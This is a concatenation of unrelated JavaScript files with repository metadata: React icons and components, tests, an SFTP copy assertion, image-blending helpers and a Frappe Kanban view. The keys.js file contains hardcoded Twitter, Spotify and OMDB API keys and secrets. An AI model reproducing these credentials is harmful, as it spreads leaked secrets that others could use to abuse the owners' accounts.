idAttribute: 'movieId' }); const reduced = result.reducer(result.initialState, { type: 'CREATE_HELLO_SUCCEED', resource: { movieId: 10, hungry: true } }); expect(reduced).to.deep.equal({ resources: [ {movieId: 10, hungry: true} ], resourceMeta: { 10: { updateXhrStatus: xhrStatuses.NULL, readXhrStatus: xhrStatuses.NULL, deleteXhrStatus: xhrStatuses.NULL } }, resourceListMeta: { createXhrStatus: xhrStatuses.SUCCEEDED, readXhrStatus: xhrStatuses.NULL } }); }); });
25.132653
57
0.591961
462f8bbfd9189853f482175dcc6c2ababbf56571
507
js
JavaScript
keys.js
maxwilliamchao/LIRI-node-app
3af267057d8c653154b19b28f176f482708e722b
[ "MIT" ]
null
null
null
keys.js
maxwilliamchao/LIRI-node-app
3af267057d8c653154b19b28f176f482708e722b
[ "MIT" ]
null
null
null
keys.js
maxwilliamchao/LIRI-node-app
3af267057d8c653154b19b28f176f482708e722b
[ "MIT" ]
null
null
null
//console.log('keys are loaded'); var keyz = { twitterKeys: { consumer_key: '9o1d0Kue7JfdSlouBVfEl0QXJ', consumer_secret: 'Zp1qrwLLs60UIdIpj8mKxsbP3mq3Sp7aBas8ss2hZGmpJ4CNox', access_token_key: '918958020096176129-R6pi1kiNT008Cxfjo461edfSOTTIcMD', access_token_secret: '2Xqy7HbTeDx3k1l2FIo1Ks37RijWLRWLb63ITg9tnbQ4d' }, spotifyKeys: { clientId: '4aa445b3a0b248eca8c31a635b6abd2d', clientSecret : '73f874153e7a46c593af9aa3c367771f' }, omdbKeys: { key: '40e9cece' } }; module.exports = keyz;
25.35
73
0.794872
463009ac12952de0d8a5b9679d94d7c3143144cc
696
js
JavaScript
node_modules/@fluentui/react-icons/lib/esm/components/Send24Regular.js
paige-ingram/nwhacks2022
ea35bfaa8fb6eb8109db8ed357a097474f3bfd1d
[ "Apache-2.0" ]
null
null
null
node_modules/@fluentui/react-icons/lib/esm/components/Send24Regular.js
paige-ingram/nwhacks2022
ea35bfaa8fb6eb8109db8ed357a097474f3bfd1d
[ "Apache-2.0" ]
null
null
null
node_modules/@fluentui/react-icons/lib/esm/components/Send24Regular.js
paige-ingram/nwhacks2022
ea35bfaa8fb6eb8109db8ed357a097474f3bfd1d
[ "Apache-2.0" ]
null
null
null
import * as React from 'react'; import wrapIcon from '../utils/wrapIcon'; const rawSvg = (iconProps) => { const { className, primaryFill } = iconProps; return React.createElement("svg", { width: 24, height: 24, viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", className: className }, React.createElement("path", { d: "M5.7 12L2.3 3.27a.75.75 0 01.94-.98l.1.04 18 9c.51.26.54.97.1 1.28l-.1.06-18 9a.75.75 0 01-1.07-.85l.03-.1L5.7 12 2.3 3.27 5.7 12zM4.4 4.54l2.61 6.71h6.63c.38 0 .7.28.74.65v.1c0 .38-.27.7-.64.74l-.1.01H7l-2.6 6.71L19.31 12 4.4 4.54z", fill: primaryFill })); }; const Send24Regular = wrapIcon(rawSvg({}), 'Send24Regular'); export default Send24Regular;
69.6
299
0.662356
463062df581f10482825b498f944b035840861a3
1,034
js
JavaScript
src/components/LiveClock.js
dhbalaji/githubActionsReadyReactStaticPages
dedc6984e782d8dff3d02de5eeeb50909353cfb9
[ "MIT" ]
null
null
null
src/components/LiveClock.js
dhbalaji/githubActionsReadyReactStaticPages
dedc6984e782d8dff3d02de5eeeb50909353cfb9
[ "MIT" ]
12
2021-08-05T14:03:49.000Z
2022-02-27T10:38:27.000Z
src/components/LiveClock.js
dhbalaji/reactStaticPageScaffold
dedc6984e782d8dff3d02de5eeeb50909353cfb9
[ "MIT" ]
1
2020-07-22T18:04:36.000Z
2020-07-22T18:04:36.000Z
import React, { useEffect, useState } from 'react' import './clock.scss' const getTimeEveryOneSecond = () => { const date = new Date() let hours = date.getHours() let minutes = date.getMinutes() let seconds = date.getSeconds() hours = hours < 10 ? '0' + hours : hours minutes = minutes < 10 ? '0' + minutes : minutes seconds = seconds < 10 ? '0' + seconds : seconds return { hours, minutes, seconds } } function LiveClock() { const [{ hours, minutes, seconds }, setTime] = useState( getTimeEveryOneSecond() ) useEffect(() => { let interval = setInterval(() => setTime(getTimeEveryOneSecond()), 1000) return () => { clearInterval(interval) } }, []) return ( <div className="clock"> <span className="hour">{hours}</span> <span className="minutes"> : {minutes}</span> <span className="seconds"> : {seconds}</span> </div> ) } export default LiveClock
24.046512
80
0.556093
46315150e4f1a702d030c56fc17433743116f56d
1,284
js
JavaScript
node_modules/grommet-icons/es6/icons/Services.js
manifoldco/definitely-not-a-todo-list
1a8270018bffa55330b34375e362f7818ff35019
[ "BSD-3-Clause" ]
12
2019-03-07T00:40:51.000Z
2020-06-25T19:29:35.000Z
node_modules/grommet-icons/es6/icons/Services.js
manifoldco/definitely-not-a-todo-list
1a8270018bffa55330b34375e362f7818ff35019
[ "BSD-3-Clause" ]
null
null
null
node_modules/grommet-icons/es6/icons/Services.js
manifoldco/definitely-not-a-todo-list
1a8270018bffa55330b34375e362f7818ff35019
[ "BSD-3-Clause" ]
7
2019-08-14T00:15:13.000Z
2020-11-16T19:31:34.000Z
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; import React from 'react'; import { Icon } from '../Icon'; export var Services = function Services(props) { return React.createElement( Icon, _extends({ viewBox: '0 0 24 24', a11yTitle: 'Services' }, props), React.createElement('path', { fill: 'none', stroke: '#000', strokeWidth: '2', d: 'M6,9 C7.65685425,9 9,7.65685425 9,6 C9,4.34314575 7.65685425,3 6,3 C4.34314575,3 3,4.34314575 3,6 C3,7.65685425 4.34314575,9 6,9 Z M6,3 L6,0 M6,12 L6,9 M0,6 L3,6 M9,6 L12,6 M2,2 L4,4 M8,8 L10,10 M10,2 L8,4 M4,8 L2,10 M18,12 C19.6568542,12 21,10.6568542 21,9 C21,7.34314575 19.6568542,6 18,6 C16.3431458,6 15,7.34314575 15,9 C15,10.6568542 16.3431458,12 18,12 Z M18,6 L18,3 M18,15 L18,12 M12,9 L15,9 M21,9 L24,9 M14,5 L16,7 M20,11 L22,13 M22,5 L20,7 M16,11 L14,13 M9,21 C10.6568542,21 12,19.6568542 12,18 C12,16.3431458 10.6568542,15 9,15 C7.34314575,15 6,16.3431458 6,18 C6,19.6568542 7.34314575,21 9,21 Z M9,15 L9,12 M9,24 L9,21 M3,18 L6,18 M12,18 L15,18 M5,14 L7,16 M11,20 L13,22 M13,14 L11,16 M7,20 L5,22' }) ); };
98.769231
797
0.683801
4633df57861a3703a6c0a35127a4e229446e763a
3,377
js
JavaScript
src/assertions/FileCopiedToRemote.js
Mozayik/shovel
8878a33ac600979e681bc55bf01485fa2ca1fb5e
[ "MIT" ]
null
null
null
src/assertions/FileCopiedToRemote.js
Mozayik/shovel
8878a33ac600979e681bc55bf01485fa2ca1fb5e
[ "MIT" ]
2
2021-08-31T19:02:33.000Z
2022-01-22T11:24:14.000Z
src/assertions/FileCopiedToRemote.js
Mozayik/shovel
8878a33ac600979e681bc55bf01485fa2ca1fb5e
[ "MIT" ]
null
null
null
import fs from "fs-extra" import util, { ScriptError, SFTP } from "../utility" export class FileCopiedToRemote { constructor(container) { this.fs = container.fs || fs this.util = container.util || util this.SFTP = container.SFTP || SFTP this.interpolator = container.interpolator } async assert(assertNode) { const withNode = assertNode.value.with const { localFile: localFileNode, remoteFile: remoteFileNode, host: hostNode, port: portNode, user: userNode, identity: identityNode, } = withNode.value if (!localFileNode || localFileNode.type !== "string") { throw new ScriptError( "'localFile' must be supplied and be a string", localFileNode || withNode ) } if (!remoteFileNode || remoteFileNode.type !== "string") { throw new ScriptError( "'remoteFile' must be supplied and be a string", remoteFileNode || withNode ) } if (!hostNode || hostNode.type !== "string") { throw new ScriptError( `'host' must be supplied and be a string`, hostNode || withNode ) } this.remoteFilePath = this.interpolator(remoteFileNode) this.localFilePath = this.interpolator(localFileNode) this.host = this.interpolator(hostNode) if (portNode) { if (portNode.type !== "number") { throw new ScriptError(`'port' must be a number`, portNode) } this.port = portNode.value } if (userNode) { if (userNode.type !== "string") { throw new ScriptError(`'user' must be a string`, userNode) } this.user = this.interpolator(userNode) } if (identityNode) { if (identityNode.type !== "string") { throw new ScriptError(`'identity' must be a string`, identityNode) } this.identity = this.interpolator(identityNode) } let localFileInfo = await this.util.pathInfo(this.localFilePath) if (!localFileInfo.isFile()) { throw new ScriptError( `File ${this.localFilePath} does not exist`, localFileNode ) } if (!localFileInfo.getAccess().isReadable()) { throw new ScriptError( `File ${this.localFilePath} is not readable`, localFileNode ) } this.sftp = new this.SFTP() await this.sftp.connect({ host: this.host, port: this.port, user: this.user, identity: this.identity, noPrompts: true, }) let remoteFileInfo = null try { remoteFileInfo = await this.sftp.getInfo(this.remoteFilePath, { timeout: 3000, }) } catch (error) { return false } const ok = remoteFileInfo.size === localFileInfo.size if (ok) { this.sftp.close() this.sftp = null } return ok } async rectify() { try { await this.sftp.putFile(this.localFilePath, this.remoteFilePath) } finally { this.sftp.close() this.sftp = null } } result() { const result = { localFile: this.localFilePath, remoteFile: this.remoteFilePath, host: this.host, } if (this.user !== undefined) { result.user = this.user } if (this.port !== undefined) { result.port = this.port } if (this.identity !== undefined) { result.identity = this.identity } return result } }
22.66443
74
0.597572
4633f10a7dd6734ed0f796f14d5499d7a28e061d
2,105
js
JavaScript
app/components/UI/OnboardingWizard/Step1/index.js
buryhuangdefiner/definer-metamask-wallet
ad2feb1c7e9f8e913d705b43a91f9152da63b49d
[ "MIT" ]
null
null
null
app/components/UI/OnboardingWizard/Step1/index.js
buryhuangdefiner/definer-metamask-wallet
ad2feb1c7e9f8e913d705b43a91f9152da63b49d
[ "MIT" ]
null
null
null
app/components/UI/OnboardingWizard/Step1/index.js
buryhuangdefiner/definer-metamask-wallet
ad2feb1c7e9f8e913d705b43a91f9152da63b49d
[ "MIT" ]
null
null
null
import React, { PureComponent } from 'react'; import PropTypes from 'prop-types'; import { connect } from 'react-redux'; import { View, Text, StyleSheet, Platform } from 'react-native'; import Coachmark from '../Coachmark'; import DeviceSize from '../../../../util/DeviceSize'; import setOnboardingWizardStep from '../../../../actions/wizard'; import { strings } from '../../../../../locales/i18n'; import onboardingStyles from './../styles'; const styles = StyleSheet.create({ main: { flex: 1 }, coachmark: { marginHorizontal: 16 }, coachmarkContainer: { flex: 1, position: 'absolute', left: 0, right: 0, bottom: DeviceSize.isIphoneX() ? 36 : Platform.OS === 'ios' ? 16 : 36 } }); class Step1 extends PureComponent { static propTypes = { /** * Callback called when closing step */ onClose: PropTypes.func, /** * Dispatch set onboarding wizard step */ setOnboardingWizardStep: PropTypes.func }; /** * Dispatches 'setOnboardingWizardStep' with next step */ onNext = () => { const { setOnboardingWizardStep } = this.props; setOnboardingWizardStep && setOnboardingWizardStep(2); }; /** * Calls props 'onClose' */ onClose = () => { const { onClose } = this.props; onClose && onClose(); }; /** * Returns content for this step */ content = () => ( <View style={onboardingStyles.contentContainer}> <Text style={onboardingStyles.content}>{strings('onboarding_wizard.step1.content1')}</Text> <Text style={onboardingStyles.content}>{strings('onboarding_wizard.step1.content2')}</Text> </View> ); render() { return ( <View style={styles.main}> <View style={styles.coachmarkContainer}> <Coachmark title={strings('onboarding_wizard.step1.title')} content={this.content()} onNext={this.onNext} onBack={this.onClose} coachmarkStyle={styles.coachmark} action /> </View> </View> ); } } const mapDispatchToProps = dispatch => ({ setOnboardingWizardStep: step => dispatch(setOnboardingWizardStep(step)) }); export default connect( null, mapDispatchToProps )(Step1);
23.131868
94
0.657482
46340b32cf6694c7701eaf5b4bff80386cb350c3
4,199
js
JavaScript
test/common/iServer/GetFeaturesByBoundsServiceSpec.js
Jun0101/iClient-JavaScript
a24f8e572d135c43bea60d8f7755be1c56e20916
[ "Apache-2.0" ]
null
null
null
test/common/iServer/GetFeaturesByBoundsServiceSpec.js
Jun0101/iClient-JavaScript
a24f8e572d135c43bea60d8f7755be1c56e20916
[ "Apache-2.0" ]
null
null
null
test/common/iServer/GetFeaturesByBoundsServiceSpec.js
Jun0101/iClient-JavaScript
a24f8e572d135c43bea60d8f7755be1c56e20916
[ "Apache-2.0" ]
null
null
null
import {GetFeaturesByBoundsService} from '../../../src/common/iServer/GetFeaturesByBoundsService'; import {GetFeaturesByBoundsParameters} from '../../../src/common/iServer/GetFeaturesByBoundsParameters'; import {Bounds} from '../../../src/common/commontypes/Bounds'; import { FetchRequest } from '../../../src/common/util/FetchRequest'; var url = GlobeParameter.dataServiceURL; //服务初始化时注册事件监听函数 var serviceFailedEventArgsSystem = null, serviceSucceedEventArgsSystem = null; var initGetFeaturesByBoundsService_RegisterListener = (serviceCompleted,serviceFailed) => { return new GetFeaturesByBoundsService(url, { eventListeners: { 'processFailed': serviceFailed, 'processCompleted': serviceCompleted } }); }; //initGetFeaturesByBoundsService_RegisterListener(serviceCompleted,serviceFailed) describe('GetFeaturesByBoundsService', () => { var originalTimeout; beforeEach(() => { originalTimeout = jasmine.DEFAULT_TIMEOUT_INTERVAL; jasmine.DEFAULT_TIMEOUT_INTERVAL = 10000; }); afterEach(() => { jasmine.DEFAULT_TIMEOUT_INTERVAL = originalTimeout; }); it('constructor, destroy', () => { var serviceCompleted = (serviceSucceedEventArgs) => { serviceSucceedEventArgsSystem = serviceSucceedEventArgs; }; var serviceFailed = (serviceFailedEventArgs) => { serviceFailedEventArgsSystem = serviceFailedEventArgs; }; var getFeaturesByBoundsService = initGetFeaturesByBoundsService_RegisterListener(serviceCompleted,serviceFailed); getFeaturesByBoundsService.events.on({ 'processFailed': serviceFailed, 'processCompleted': serviceCompleted }); expect(getFeaturesByBoundsService).not.toBeNull(); expect(getFeaturesByBoundsService.CLASS_NAME).toEqual("SuperMap.GetFeaturesByBoundsService"); getFeaturesByBoundsService.destroy(); expect(getFeaturesByBoundsService.EVENT_TYPES).toBeNull(); expect(getFeaturesByBoundsService.events).toBeNull(); }); it('success:processAsync', (done) => { var serviceCompleted = (serviceSucceedEventArgsSystem) => { try { var analystResult = serviceSucceedEventArgsSystem.result.features; expect(analystResult).not.toBeNull(); expect(analystResult.type).toEqual("FeatureCollection"); expect(analystResult.features).not.toBeNull(); expect(analystResult.features.length).toBeGreaterThan(0); getFeaturesByBoundsService.destroy(); boundsParams.destroy(); done(); } catch (exception) { expect(false).toBeTruthy(); console.log("GetFeaturesByBoundsService_" + exception.name + ":" + exception.message); getFeaturesByBoundsService.destroy(); boundsParams.destroy(); done(); } }; var serviceFailed = (serviceFailedEventArgs) => { serviceFailedEventArgsSystem = serviceFailedEventArgs; }; var options = { eventListeners: { 'processFailed': serviceFailed, 'processCompleted': serviceCompleted } }; var getFeaturesByBoundsService = initGetFeaturesByBoundsService_RegisterListener(serviceCompleted,serviceFailed); var boundsParams = new GetFeaturesByBoundsParameters({ datasetNames: ["World:Countries"], bounds: new Bounds(0, 0, 90, 90) }); spyOn(FetchRequest, 'commit').and.callFake((method, testUrl, params, options) => { expect(method).toBe("POST"); expect(testUrl).toBe(url + "/featureResults.json?returnContent=true&fromIndex=0&toIndex=19"); var paramsObj = JSON.parse(params.replace(/'/g, "\"")); expect(paramsObj.datasetNames[0]).toBe("World:Countries"); expect(options).not.toBeNull(); return Promise.resolve(new Response(JSON.stringify(getFeaturesResultJson))); }); getFeaturesByBoundsService.processAsync(boundsParams); }) });
45.150538
121
0.652774
46345eb2977f035315e9f6b2c57b87865f5446d8
576
js
JavaScript
httpServer/server/app/components/auto/auto.js
sharingbeforedying/corona_de_names
7eb6841536eae0a2bb1f51e7d0fcb31ef7ab45fb
[ "MIT" ]
null
null
null
httpServer/server/app/components/auto/auto.js
sharingbeforedying/corona_de_names
7eb6841536eae0a2bb1f51e7d0fcb31ef7ab45fb
[ "MIT" ]
null
null
null
httpServer/server/app/components/auto/auto.js
sharingbeforedying/corona_de_names
7eb6841536eae0a2bb1f51e7d0fcb31ef7ab45fb
[ "MIT" ]
null
null
null
// create the controller and inject Angular's $scope angular.module("awApp").controller('autoPController', function($scope, gameService) { $scope.init = function() { console.log("autoPController::init"); $scope.teamIds = () => Object.keys(gameService.getSessionTeamsMap()); gameService.onChange(() => { console.log("autoPController::gameService.onChange"); $scope.$apply(); }); }; $scope.auto1 = function(role,teamId) { console.log("button clicked: auto_teller"); gameService.auto_role_in_team(role, teamId); }; });
24
85
0.65625
463463c8892127d6c84144620e526fd5b328df48
947
js
JavaScript
packages/babel-parser/test/unit/util/location.skip-bundled.js
takhello/babel
94af0e5c629b63fa11512b2ea8a8ac81d11a9db5
[ "MIT" ]
42,609
2015-02-15T11:13:42.000Z
2022-03-31T23:15:22.000Z
packages/babel-parser/test/unit/util/location.skip-bundled.js
xupeng-faker/babel
39080492f46909153217939ff08d9bf4b03ce2a5
[ "MIT" ]
12,279
2015-02-15T11:12:05.000Z
2022-03-31T20:55:01.000Z
packages/babel-parser/test/unit/util/location.skip-bundled.js
xupeng-faker/babel
39080492f46909153217939ff08d9bf4b03ce2a5
[ "MIT" ]
7,321
2015-02-15T15:45:23.000Z
2022-03-31T20:04:22.000Z
import { getLineInfo } from "../../../lib/util/location.js"; describe("getLineInfo", () => { const input = "a\nb\nc\nd\ne\nf\ng\nh\ni"; it("reports correct position", () => { expect(getLineInfo(input, 7)).toEqual({ column: 1, line: 4, }); }); it("reports correct position for first line", () => { expect(getLineInfo(input, 0)).toEqual({ column: 0, line: 1, }); }); const inputArray = ["a", "b", "c", "d", "e", "f", "g", "h", "i"]; const singleCharLineEndings = ["\n", "\r", "\u2028", "\u2029"]; singleCharLineEndings.forEach(ending => { it(`supports ${escape(ending)} line ending`, () => { expect(getLineInfo(inputArray.join(ending), 7)).toEqual({ column: 1, line: 4, }); }); }); it(`supports ${escape("\r\n")} line ending`, () => { expect(getLineInfo(inputArray.join("\r\n"), 7)).toEqual({ column: 1, line: 3, }); }); });
24.282051
67
0.521647
46348aaadc956146efc0e700df729bcda143dece
3,476
js
JavaScript
src/scalpel/blending.js
kevin-roark/imageclown
1f89364b2828c6ab20377b923b97332c041b91c5
[ "MIT" ]
4
2017-04-27T16:57:53.000Z
2017-08-09T14:28:10.000Z
src/scalpel/blending.js
kevin-roark/imageclown
1f89364b2828c6ab20377b923b97332c041b91c5
[ "MIT" ]
null
null
null
src/scalpel/blending.js
kevin-roark/imageclown
1f89364b2828c6ab20377b923b97332c041b91c5
[ "MIT" ]
null
null
null
const magic = require('../magic') const { futil } = require('../util') const Frame = require('../frame') const Chunk = require('../chunk') const patterns = require('../patterns') const { Easing } = require('../util') const { arrify, prefixify } = require('../util/ify') const { fpb } = require('../config') module.exports = { blendAverage, evaluateSequence, blend, fadeIn, fadeOut, compose } const averageBlendModes = new Set(['mean', 'add', 'subtract', 'multiply', 'divide', 'max', 'min', 'median']) function blendAverage (chunk, blendMode = 'add') { if (!averageBlendModes.has(blendMode.toLowerCase())) { throw new Error(`Bad blendMode provided: ${blendMode}`) } return evaluateSequence(chunk, blendMode) } function evaluateSequence (chunk, evaluateSequenceArg) { let frames = arrify(chunk) if (frames.length <= 1) { return frames.length === 0 ? null : frames[0] } let images = frames.map(f => f.getImage()) let prefix = prefixify(evaluateSequenceArg) let outfile = futil.filehash(futil.mergeNames({ prefix, filenames: images })) let imageNames = images.join(' ') let cmd = `convert ${imageNames} -evaluate-sequence ${evaluateSequenceArg} ${outfile}` return new Frame({ src: outfile, gen: cmd, dependents: frames }) } const blendModes = new Set([ 'blend', 'overlay', 'hardlight', 'softlight', 'pegtoplight', 'linearlight', 'vividlight', 'pinlight', 'lineardodge', 'linearburn', 'colordodge', 'colorburn', 'multiply', 'screen', 'bumpmap', 'divide', 'plus', 'minus', 'modulusadd', 'modulussubtract', 'difference', 'exclusion', 'lighten', 'darken', 'lightenintensity', 'darkenintensity' ]) function blend (chunk, blendMode = 'overlay', blendArgs) { if (!blendModes.has(blendMode.toLowerCase())) { throw new Error(`Bad blendMode provided: ${blendMode}`) } return compose(chunk, blendMode, blendArgs) } function fadeIn (backgroundChunk, overlayChunk, options) { return fade(backgroundChunk, overlayChunk, Object.assign({ fadeIn: true }, options)) } function fadeOut (backgroundChunk, overlayChunk, options) { return fade(backgroundChunk, overlayChunk, Object.assign({ fadeIn: false }, options)) } function fade (backgroundChunk, overlayChunk, options = {}) { let { frames = fpb, blendMode = 'blend', fadeIn = true, easing = Easing.Linear.None } = options let backgroundFrames = arrify(backgroundChunk) let overlayFrames = arrify(overlayChunk) let fadedFrames = patterns.range(frames).map(i => { let percent = easing(fadeIn ? (i / frames) : (1 - (i / frames))) * 100 let backgroundFrame = backgroundFrames[i % backgroundFrames.length] let overlayFrame = overlayFrames[i % overlayFrames.length] return blend([backgroundFrame, overlayFrame], blendMode, percent) }) let allFrames = backgroundFrames.length > frames ? fadedFrames.concat(backgroundFrames.slice(frames)) : fadedFrames return new Chunk(allFrames) } function compose (chunk, composeName, composeArgs) { let frames = arrify(chunk) if (frames.length <= 1) { return frames.length === 0 ? null : frames[0] } let images = frames.map(f => f.getImage()) let prefix = composeArgs !== undefined ? prefixify(`${composeName}-${composeArgs}`) : prefixify(composeName) let outfile = futil.filehash(futil.mergeNames({ prefix, filenames: images })) let cmd = `convert ${magic.compose(images, composeName, composeArgs)} ${outfile}` return new Frame({ src: outfile, gen: cmd, dependents: frames }) }
35.111111
117
0.694764
46348b0d1140ade43951d2701e08be86be0eaf97
8,395
js
JavaScript
frappe/public/js/frappe/views/kanban/kanban_view.js
P-Froggy/frappe
c3ba0ec68cb4ff1cd40314b257ae142eda59ed0c
[ "MIT" ]
2
2020-05-30T17:59:18.000Z
2020-08-13T19:10:41.000Z
frappe/public/js/frappe/views/kanban/kanban_view.js
P-Froggy/frappe
c3ba0ec68cb4ff1cd40314b257ae142eda59ed0c
[ "MIT" ]
3
2019-10-06T19:52:50.000Z
2020-02-27T10:12:06.000Z
frappe/public/js/frappe/views/kanban/kanban_view.js
P-Froggy/frappe
c3ba0ec68cb4ff1cd40314b257ae142eda59ed0c
[ "MIT" ]
null
null
null
frappe.provide('frappe.views'); frappe.views.KanbanView = class KanbanView extends frappe.views.ListView { static load_last_view() { const route = frappe.get_route(); if (route.length === 3) { const doctype = route[1]; const user_settings = frappe.get_user_settings(doctype)['Kanban'] || {}; if (!user_settings.last_kanban_board) { frappe.msgprint({ title: __('Error'), indicator: 'red', message: __('Missing parameter Kanban Board Name') }); frappe.set_route('List', doctype, 'List'); return true; } route.push(user_settings.last_kanban_board); frappe.set_route(route); return true; } return false; } get view_name() { return 'Kanban'; } setup_defaults() { return super.setup_defaults() .then(() => { this.board_name = frappe.get_route()[3]; this.page_title = __(this.board_name); this.card_meta = this.get_card_meta(); this.page_length = 0; this.menu_items.push({ label: __('Save filters'), action: () => { this.save_kanban_board_filters(); } }); return this.get_board(); }); } setup_paging_area() { // pass } toggle_result_area() { this.$result.toggle(this.data.length > 0); } get_board() { return frappe.db.get_doc('Kanban Board', this.board_name) .then(board => { this.board = board; this.board.filters_array = JSON.parse(this.board.filters || '[]'); this.filters = this.board.filters_array; }); } before_refresh() { } setup_page() { this.hide_sidebar = true; this.hide_page_form = true; this.hide_card_layout = true; super.setup_page(); } setup_view() { this.setup_realtime_updates(); } set_fields() { super.set_fields(); this._add_field(this.card_meta.title_field); } before_render() { frappe.model.user_settings.save(this.doctype, 'last_view', this.view_name); this.save_view_user_settings({ last_kanban_board: this.board_name }); } render_list() { } on_filter_change() { if (JSON.stringify(this.board.filters_array) !== JSON.stringify(this.filter_area.get())) { this.page.set_indicator(__('Not Saved'), 'orange'); } else { this.page.clear_indicator(); } } save_kanban_board_filters() { const filters = this.filter_area.get(); frappe.call({ method: 'frappe.desk.doctype.kanban_board.kanban_board.save_filters', args: { board_name: this.board_name, filters: filters } }).then(r => { if (r.exc) { frappe.show_alert({ indicator: 'red', message: __('There was an error saving filters') }); return; } frappe.show_alert({ indicator: 'green', message: __('Filters saved') }); this.board.filters_array = filters; this.on_filter_change(); }); } get_fields() { this.fields.push([this.board.field_name, this.board.reference_doctype]); return super.get_fields(); } render() { const board_name = this.board_name; if (this.kanban && board_name === this.kanban.board_name) { this.kanban.update(this.data); return; } this.kanban = new frappe.views.KanbanBoard({ doctype: this.doctype, board: this.board, board_name: board_name, cards: this.data, card_meta: this.card_meta, wrapper: this.$result, cur_list: this, user_settings: this.view_user_settings }); } get_card_meta() { var meta = frappe.get_meta(this.doctype); var doc = frappe.model.get_new_doc(this.doctype); var title_field = null; var quick_entry = false; if (this.meta.title_field) { title_field = frappe.meta.get_field(this.doctype, this.meta.title_field); } this.meta.fields.forEach((df) => { const is_valid_field = in_list(['Data', 'Text', 'Small Text', 'Text Editor'], df.fieldtype) && !df.hidden; if (is_valid_field && !title_field) { // can be mapped to textarea title_field = df; } }); // quick entry var mandatory = meta.fields.filter((df) => df.reqd && !doc[df.fieldname]); if (mandatory.some(df => frappe.model.table_fields.includes(df.fieldtype)) || mandatory.length > 1) { quick_entry = true; } if (!title_field) { title_field = frappe.meta.get_field(this.doctype, 'name'); } return { quick_entry: quick_entry, title_field: title_field }; } get required_libs() { return [ 'assets/frappe/js/lib/fluxify.min.js', 'assets/frappe/js/frappe/views/kanban/kanban_board.js' ]; } }; frappe.views.KanbanView.get_kanbans = function (doctype) { let kanbans = []; return get_kanban_boards() .then((kanban_boards) => { if (kanban_boards) { kanban_boards.forEach(board => { let route = `/app/${frappe.router.slug(board.reference_doctype)}/view/kanban/${board.name}`; kanbans.push({ name: board.name, route: route }); }); } return kanbans; }); function get_kanban_boards() { return frappe.call('frappe.desk.doctype.kanban_board.kanban_board.get_kanban_boards', { doctype }) .then(r => r.message); } }; frappe.views.KanbanView.show_kanban_dialog = function (doctype, show_existing) { let dialog = null; frappe.views.KanbanView.get_kanbans(doctype).then(kanbans => { dialog = new_kanban_dialog(kanbans, show_existing); dialog.show(); }); function make_kanban_board(board_name, field_name, project) { return frappe.call({ method: 'frappe.desk.doctype.kanban_board.kanban_board.quick_kanban_board', args: { doctype, board_name, field_name, project }, callback: function (r) { var kb = r.message; if (kb.filters) { frappe.provide('frappe.kanban_filters'); frappe.kanban_filters[kb.kanban_board_name] = kb.filters; } frappe.set_route('List', doctype, 'Kanban', kb.kanban_board_name); } }); } function new_kanban_dialog(kanbans, show_existing) { if (dialog) return dialog; const fields = get_fields_for_dialog(kanbans.map(kanban => kanban.name), show_existing); let primary_action_label = __('Save'); let primary_action = () => { const values = dialog.get_values(); if (!values.selected_kanban || values.selected_kanban == 'Create New Board') { make_kanban_board(values.board_name, values.field_name, values.project) .then(() => dialog.hide(), (err) => frappe.msgprint(err)); } else { frappe.set_route(kanbans.find(kanban => kanban.name == values.selected_kanban).route); } }; dialog = new frappe.ui.Dialog({ title: __('New Kanban Board'), fields, primary_action_label, primary_action }); return dialog; } function get_fields_for_dialog(kanban_options, show_existing = false) { kanban_options.push('Create New Board'); let fields = [ { fieldtype: 'Select', fieldname: 'selected_kanban', label: __('Choose Kanban Board'), reqd: 1, depends_on: `eval: ${show_existing}`, mandatory_depends_on: `eval: ${show_existing}`, options: kanban_options, }, { fieldname: 'new_kanban_board_sb', fieldtype: 'Section Break', depends_on: `eval: !${show_existing} || doc.selected_kanban == "Create New Board"`, }, { fieldtype: 'Data', fieldname: 'board_name', label: __('Kanban Board Name'), mandatory_depends_on: 'eval: doc.selected_kanban == "Create New Board"', description: ['Note', 'ToDo'].includes(doctype) ? __('This Kanban Board will be private') : '' } ]; if (doctype === 'Task') { fields.push({ fieldtype: 'Link', fieldname: 'project', label: __('Project'), options: 'Project' }); } const select_fields = frappe.get_meta(doctype).fields .filter(df => { return df.fieldtype === 'Select' && df.fieldname !== 'kanban_column'; }); if (select_fields.length > 0) { fields.push({ fieldtype: 'Select', fieldname: 'field_name', label: __('Columns based on'), options: select_fields.map(df => ({ label: df.label, value: df.fieldname })), default: select_fields[0], mandatory_depends_on: 'eval: doc.selected_kanban == "Create New Board"', }); } else { fields = [{ fieldtype: 'HTML', options: ` <div> <p class="text-medium"> ${__('No fields found that can be used as a Kanban Column. Use the Customize Form to add a Custom Field of type "Select".')} </p> <a class="btn btn-xs btn-default" href="/app/customize-form?doc_type=${doctype}"> ${__('Customize Form')} </a> </div> ` }]; } return fields; } };
24.054441
130
0.651578
4634ac41c1d80f3f719e9f9139a8156f67306768
647
js
JavaScript
kaukau-lib.js
kisiwu/storehouse-sequelize
b54f3741b7f645eb2658163e8f77a534f08ff7bb
[ "MIT" ]
null
null
null
kaukau-lib.js
kisiwu/storehouse-sequelize
b54f3741b7f645eb2658163e8f77a534f08ff7bb
[ "MIT" ]
null
null
null
kaukau-lib.js
kisiwu/storehouse-sequelize
b54f3741b7f645eb2658163e8f77a534f08ff7bb
[ "MIT" ]
null
null
null
module.exports = { enableLogs: true, exitOnFail: true, files: 'test/lib', ext: '.test.js', options: { bail: false, fullTrace: true, grep: '', ignoreLeaks: false, reporter: 'spec', retries: 0, slow: 10000, timeout: 30000, ui: 'bdd', color: true, }, parameters: { db: { dialect: process.env.TEST_DB_DIALECT || 'mysql', host: process.env.TEST_DB_HOSTNAME || 'localhost', port: process.env.TEST_DB_PORT, database: process.env.TEST_DB_NAME || 'ci', username: process.env.TEST_DB_USERNAME || 'root', password: process.env.TEST_DB_PASSWORD || '' } }, };
22.310345
56
0.593509
46353b290e0eaed7718e08dd9b94ef18b6f29004
239
js
JavaScript
bS.Sked2.WebManagementConsole/ClientApp/src/app/models/trigger.js
babbubba/bS.Sked2
b6f68083c9413ef2a6bbc976686b63331baa3a9c
[ "MIT" ]
1
2019-09-24T06:13:59.000Z
2019-09-24T06:13:59.000Z
bS.Sked2.WebManagementConsole/ClientApp/src/app/models/trigger.js
babbubba/bS.Sked2
